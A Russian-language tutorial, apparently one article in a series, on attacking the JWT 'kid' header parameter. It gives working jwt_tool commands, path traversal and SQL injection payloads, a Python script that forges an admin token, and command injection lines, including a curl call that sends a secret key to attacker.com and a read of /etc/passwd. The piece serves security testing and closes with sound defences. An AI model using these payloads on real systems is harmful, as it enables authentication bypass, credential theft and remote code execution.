Содержание:
- Почему kid уязвим
- Path Traversal через /dev/null
- SQL Injection через kid
- Command Injection
- Чеклист тестирования kid
- Защита
- Что дальше
В статьях 3-4 мы атаковали поле alg в заголовке JWT. Но помнишь список параметров заголовка из второй статьи? kid, jku, jwk, x5u, x5c - каждый из них вектор атаки. Начинаем с kid.
Почему kid уязвим
kid (Key ID) - опциональный параметр заголовка JWT. Когда у сервера несколько ключей для подписи (например, старый и новый при ротации), kid указывает, какой именно ключ использовать для проверки подписи. Сервер получает токен, смотрит kid в заголовке, находит соответствующий ключ в своем хранилище и проверяет подпись.
И вот ключевой момент: RFC не определяет структуру kid. Совсем. В спецификации написано: “The structure of the ‘kid’ value is unspecified. Its value MUST be a case-sensitive string.” Произвольная строка, без ограничений на формат и содержимое.
Это означает, что разработчики вольны интерпретировать kid как угодно. Кто-то использует его как имя файла - и читает ключ из файловой системы. Кто-то как SQL-параметр - и ищет ключ в базе данных. Кто-то передает в системную команду. Каждый из этих вариантов - отдельный класс уязвимостей.
Path Traversal через /dev/null
Если сервер использует kid как путь к файлу с ключом, подставляем path traversal:
{"alg": "HS256", "kid": "../../../../../../../dev/null"}
/dev/null при чтении всегда возвращает пустую строку (zero bytes). Сервер прочитал “ключ” из /dev/null - получил пустую строку. Атакующий подписывает токен пустым ключом - подписи совпадают.
python3 jwt_tool.py "$TOKEN" -I -hc kid \
-hv "../../../../dev/null" -S hs256 -p ""
Работает? Отлично. Но /dev/null не единственный вариант. Есть файлы с предсказуемым содержимым, которое можно использовать как ключ:
/proc/sys/kernel/randomize_va_space - на Linux всегда содержит 2 (ASLR включен). Подписываем токен строкой "2":
python3 jwt_tool.py "$TOKEN" -I -hc kid \
-hv "/proc/sys/kernel/randomize_va_space" \
-S hs256 -p "2"
/etc/hostname - может быть предсказуемым, особенно в Docker-контейнерах с дефолтными именами.
Идея понятна: находим файл, содержимое которого нам известно, и используем его содержимое как HMAC-ключ.
SQL Injection через kid
Если сервер ищет ключ в базе данных, SQL-запрос может выглядеть так:
SELECT key_value FROM jwt_keys WHERE kid = '<kid>'
Подставляем классический UNION-based SQLi:
{"alg": "HS256", "kid": "x' UNION SELECT 'ATTACKER';-- -"}
Запрос превращается в:
SELECT key_value FROM jwt_keys WHERE kid = 'x' UNION SELECT 'ATTACKER';-- -'
Первый SELECT ничего не найдет (нет ключа с kid = x), а UNION вернет строку ATTACKER. Сервер получит ATTACKER как значение ключа и использует его для проверки. Мы подписываем токен той же строкой ATTACKER - и подпись сойдется.
python3 jwt_tool.py "$TOKEN" -I -hc kid \
-hv "x' UNION SELECT 'ATTACKER';-- -" \
-S hs256 -p "ATTACKER"
Но этим SQLi не ограничивается. Раз мы можем внедрять SQL-запросы, можно извлекать данные:
x' UNION SELECT password FROM users WHERE username='admin';-- -
Если это сработает, мы получим пароль админа как “ключ”, подпишем им токен, и одновременно узнаем пароль. Два бага по цене одного.
Ручной PoC на Python:
import hmac, hashlib, base64, json
def b64e(d):
return base64.urlsafe_b64encode(d).rstrip(b'=').decode()
header = {"alg":"HS256","typ":"JWT",
"kid":"x' UNION SELECT 'KEY';-- -"}
payload = {"sub":"admin","role":"superuser"}
h = b64e(json.dumps(header, separators=(',',':')).encode())
p = b64e(json.dumps(payload, separators=(',',':')).encode())
sig = hmac.new(b"KEY", f"{h}.{p}".encode(),
hashlib.sha256).digest()
print(f"{h}.{p}.{b64e(sig)}")
Command Injection
Некоторые серверы передают kid в системную команду для загрузки ключа. Особенно опасен Ruby с функцией open(), которая поддерживает pipe-оператор: open("| command") выполнит command как shell-команду.
{"alg": "HS256", "kid": "| whoami"}
Ruby open("| whoami") выполнит whoami и вернет результат. Другие варианты полезных нагрузок:
| curl http://attacker.com/steal?k=$(cat /app/secret.key)
key1; whoami
key1 && cat /etc/passwd
key1$(id)
Command injection через kid встречается реже, чем path traversal или SQLi, но когда встречается - это обычно RCE.
Чеклист тестирования kid
Вот последовательность проверок, которую я прохожу на каждом engagement:
- Есть ли kid в токене? Декодируй заголовок, проверь наличие поля kid
- Path traversal:
../../../../dev/nullс пустым ключом - Предсказуемые файлы:
/proc/sys/kernel/randomize_va_spaceс ключом"2" - SQL injection:
' UNION SELECT 'test';-- -с ключом"test". Если сервер вернул 200 - подтверждено - Blind SQLi:
' AND 1=1;-- -vs' AND 1=2;-- -. Разные ответы - blind SQLi - Command injection:
| sleep 5- если ответ задержался на 5 секунд, есть RCE - SSRF:
http://169.254.169.254/(AWS metadata),http://127.0.0.1:6379/(Redis)
Защита
RFC 8725 Section 3.10 прямо говорит: kid MUST быть санитизирован.
Конкретные рекомендации:
- Не использовать
kidкак путь к файлу. Хранить ключи в key store с индексом по kid, без обращения к файловой системе. - Параметризованные SQL-запросы.
WHERE kid = ?вместо конкатенации строк. - Allowlist допустимых значений
kid. Если у тебя 3 ключа - разрешай только 3 конкретных kid. - Никогда не передавать
kidв shell-команды.
Что дальше
kid - один параметр заголовка. Но таких в заголовке еще четыре. В следующей статье - jku, x5u, jwk, x5c: когда токен говорит серверу “скачай мой ключ по этому URL” или “вот мой ключ, встроенный прямо в заголовок”. SSRF, подмена ключей и самоподписанные сертификаты.